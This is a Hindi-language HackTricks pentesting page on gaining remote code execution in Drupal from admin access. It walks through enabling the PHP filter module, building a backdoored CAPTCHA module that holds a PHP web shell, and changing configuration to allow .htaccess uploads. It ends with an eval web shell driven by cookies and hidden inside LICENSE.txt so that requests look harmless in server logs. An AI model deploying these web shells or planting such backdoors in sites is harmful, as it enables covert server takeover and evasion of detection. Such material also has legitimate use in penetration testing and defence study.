Drupal RCE

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

PHP फ़िल्टर मॉड्यूल के साथ

पुराने संस्करणों में Drupal (संस्करण 8 से पहले) में, एडमिन के रूप में लॉग इन करना संभव था और PHP फ़िल्टर मॉड्यूल को सक्षम करना था, जो "एम्बेडेड PHP कोड/स्निपेट को मूल्यांकित करने की अनुमति देता है।" लेकिन संस्करण 8 से यह मॉड्यूल डिफ़ॉल्ट रूप से स्थापित नहीं है।

आपको प्लगइन php को स्थापित होना चाहिए (इसे जांचने के लिए /modules/php तक पहुंचें और यदि यह एक 403 लौटाता है तो, मौजूद है, अगर नहीं मिला, तो प्लगइन php स्थापित नहीं है)

मॉड्यूल पर जाएं -> (जांचें) PHP फ़िल्टर -> कॉन्फ़िगरेशन सहेजें

फिर Add content पर क्लिक करें -> Basic Page या Article -> शरीर पर php शैलकोड लिखें -> PHP कोड का चयन करें Text format में -> पूर्वावलोकन का चयन करें

अंत में, बस नए नोड तक पहुंचें:

curl http://drupal-site.local/node/3

PHP Filter Module इंस्टॉल करें

वर्तमान संस्करणों में डिफ़ॉल्ट इंस्टॉलेशन के बाद केवल वेब तक पहुंचकर प्लगइन्स को इंस्टॉल करना अब संभव नहीं है।

8 के संस्करण से, PHP Filter मॉड्यूल डिफ़ॉल्ट रूप से इंस्टॉल नहीं होता है। इस फ़ंक्शन का लाभ उठाने के लिए, हमें मॉड्यूल खुद ही इंस्टॉल करना होगा

  1. Drupal वेबसाइट से मॉड्यूल का सबसे हाल का संस्करण डाउनलोड करें।

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. डाउनलोड होने के बाद प्रशासन > रिपोर्ट्स > उपलब्ध अपडेट्स पर जाएं।

  4. ब्राउज़ करें पर क्लिक करें, फ़ाइल को चुनें जिसे हमने इसे डाउनलोड किया था, और फिर इंस्टॉल पर क्लिक करें।

  5. मॉड्यूल इंस्टॉल होने के बाद, हम सामग्री पर क्लिक कर सकते हैं और नया बेसिक पेज बना सकते हैं, जैसा कि हमने Drupal 7 उदाहरण में किया था। फिर से सुनिश्चित करें कि पाठ स्वरूप ड्रॉपडाउन से PHP कोड का चयन करें।

Backdoored मॉड्यूल

वर्तमान संस्करणों में डिफ़ॉल्ट इंस्टॉलेशन के बाद केवल वेब तक पहुंचकर प्लगइन्स को इंस्टॉल करना अब संभव नहीं है।

एक backdoored मॉड्यूल मौजूदा मॉड्यूल में एक शैल जोड़कर बनाया जा सकता है। मॉड्यूल drupal.org वेबसाइट पर मिल सकते हैं। चलिए एक मॉड्यूल चुनते हैं जैसे कि CAPTCHA। नीचे स्क्रॉल करें और tar.gz आर्काइव के लिए लिंक कॉपी करें।

  • आर्काइव डाउनलोड करें और उसकी सामग्री निकालें।

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • निम्नलिखित सामग्री के साथ एक PHP वेब शैल बनाएं:

<?php
system($_GET["cmd"]);
?>
  • अगले, हमें फ़ोल्डर तक पहुँचने का अधिकार देने के लिए .htaccess फ़ाइल बनानी होगी। यह जरुरी है क्योंकि Drupal /modules फ़ोल्डर का सीधा उपयोग इनकार करता है।

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • ऊपर का विन्यास नीचे दिए गए नियमों को लागू करेगा जब हम /modules में एक फ़ाइल का अनुरोध करें। इन दोनों फ़ाइलों को captcha फ़ोल्डर में कॉपी करें और एक आर्काइव बनाएं।

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • मान लें कि हमें वेबसाइट पर प्रशासनिक पहुंच है, प्रबंधित पर क्लिक करें और साइडबार पर विस्तार पर क्लिक करें। अगले, + नया मॉड्यूल स्थापित करें बटन पर क्लिक करें, और हमें स्थापित पृष्ठ पर ले जाया जाएगा, जैसे http://drupal-site.local/admin/modules/install। बैकडोर्ड कैप्चा संग्रह को ब्राउज़ करें और स्थापित पर क्लिक करें।

  • स्थापना सफल होने के बाद, कमांड्स को निष्पादित करने के लिए /modules/captcha/shell.php पर ब्राउज़ करें।

कॉन्फ़िगरेशन समक्रमण के साथ ड्रुपल को बैकडोर करना

कोईफर0x90 द्वारा साझा किया गया Coiffeur0x90

भाग 1 (मीडिया और मीडिया लाइब्रेरी की सक्रियण)

विस्तार मेनू (/admin/modules) में, आप उसे सक्रिय कर सकते हैं जो पहले से स्थापित प्लगइन लगते हैं। डिफ़ॉल्ट रूप से, प्लगइन मीडिया और मीडिया लाइब्रेरी सक्रिय नहीं लगते हैं, इसलिए हम उन्हें सक्रिय करें।

सक्रिय करने से पहले:

सक्रिय करने के बाद:

भाग 2 (कॉन्फ़िगरेशन समक्रमण सुविधा का उपयोग करना)

हम कॉन्फ़िगरेशन समक्रमण सुविधा का उपयोग करेंगे ताकि ड्रुपल कॉन्फ़िगरेशन एंट्रीज को डंप (निर्यात) और अपलोड (आयात) किया जा सके:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

पैच सिस्टम फ़ाइल.yml

आइटम allow_insecure_uploads को पैच करने से शुरू करें:


...

allow_insecure_uploads: false

...

तकनीकी विवरण: system.file.yml


...

allow_insecure_uploads: true

...

पैच फ़ील्ड.फ़ील्ड.मीडिया.डॉक्यूमेंट.फ़ील्ड_मीडिया_डॉक्यूमेंट.yml

फिर, दूसरे एंट्री file_extensions को पैच करें:

फ़ाइल: फ़ील्ड.फ़ील्ड.मीडिया.डॉक्यूमेंट.फ़ील्ड_मीडिया_डॉक्यूमेंट.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

से:

फ़ाइल: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

इस ब्लॉग पोस्ट में मैं इसका उपयोग नहीं करता, लेकिन यह नोट किया गया है कि file_directory प्रविष्टि को किसी भी तरीके से परिभाषित किया जा सकता है और यह एक पथ भ्रमण हमले के लिए भेद्य है (ताकि हम ड्रुपल फ़ाइल सिस्टम पेड़ में वापस जा सकें)।

भाग 3 (सुविधा दस्तावेज़ जोड़ना का उपयोग करना)

आखिरी कदम सबसे सरल है, और दो उप-कदमों में विभाजित है। पहला यह है कि .htaccess प्रारूप में एक फ़ाइल अपलोड करना जिसे एपाच निर्देशिकाएँ उत्पन्न करने और .txt फ़ाइलों को PHP इंजन द्वारा व्याख्या करने की अनुमति देने के लिए उपयोग किया जा सकता है। दूसरा है हमारे पेलोड को शामिल करने वाली .txt फ़ाइल अपलोड करना।

फ़ाइल: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

क्यों यह ट्रिक शानदार है?

क्योंकि एक बार जब वेबशेल (जिसे हम LICENSE.txt कहेंगे) वेब सर्वर पर ड्रॉप हो जाता है, हम $_COOKIE के माध्यम से हमारे कमांड ट्रांसमिट कर सकते हैं और वेब सर्वर लॉग में, यह एक वैध GET अनुरोध के रूप में एक पाठ फ़ाइल के लिए प्रदर्शित होगा।

हमारे वेबशेल को LICENSE.txt क्यों नाम दें?

सिर्फ इसलिए क्योंकि अगर हम निम्नलिखित फ़ाइल को लें, उदाहरण के लिए core/LICENSE.txt (जो पहले से ही ड्रुपल कोर में मौजूद है), तो हमें 339 लाइनों और 17.6 KB का आकार वाली एक फ़ाइल मिलती है, जिसमें PHP कोड का छोटा सा टुकड़ा जोड़ने के लिए पूरी तरह से उपयुक्त है (क्योंकि फ़ाइल पर्याप्त बड़ी है)।

फ़ाइल: Patched LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

भाग 3.1 (फ़ाइल .htaccess अपलोड करें)

सबसे पहले, हम Add Document (/media/add/document) विशेषता का उपयोग करके हमारी फ़ाइल अपलोड करते हैं जिसमें एपाचे निर्देशिकाएँ होती हैं (.htaccess).

भाग 3.2 (फ़ाइल LICENSE.txt अपलोड करें)

फिर, हम Add Document (/media/add/document) विशेषता का उपयोग करके एक वेबशेल अपलोड करते हैं जो एक लाइसेंस फ़ाइल के भीतर छिपा होता है।

भाग 4 (वेबशेल के साथ बातचीत)

अंतिम भाग में वेबशेल के साथ बातचीत करना शामिल है।

निम्नलिखित स्क्रीनशॉट में दिखाया गया है कि यदि हमारे वेबशेल द्वारा अपेक्षित कुकी परिभाषित नहीं है, तो हमें वेब ब्राउज़र के माध्यम से फ़ाइल की परामर्श करने पर निम्नलिखित परिणाम मिलता है।

जब हमलावार कुकी सेट करता है, तो वह वेबशेल के साथ बातचीत कर सकता है और वह जो भी कमांड चाहे वह निष्पादित कर सकता है।

और जैसा कि आप लॉग में देख सकते हैं, ऐसा लगता है कि केवल एक txt फ़ाइल का अनुरोध किया गया है।

इस लेख को पढ़ने के लिए समय निकालने के लिए धन्यवाद, मुझे आशा है कि यह आपको कुछ शैल्स प्राप्त करने में मदद करेगा।

Last updated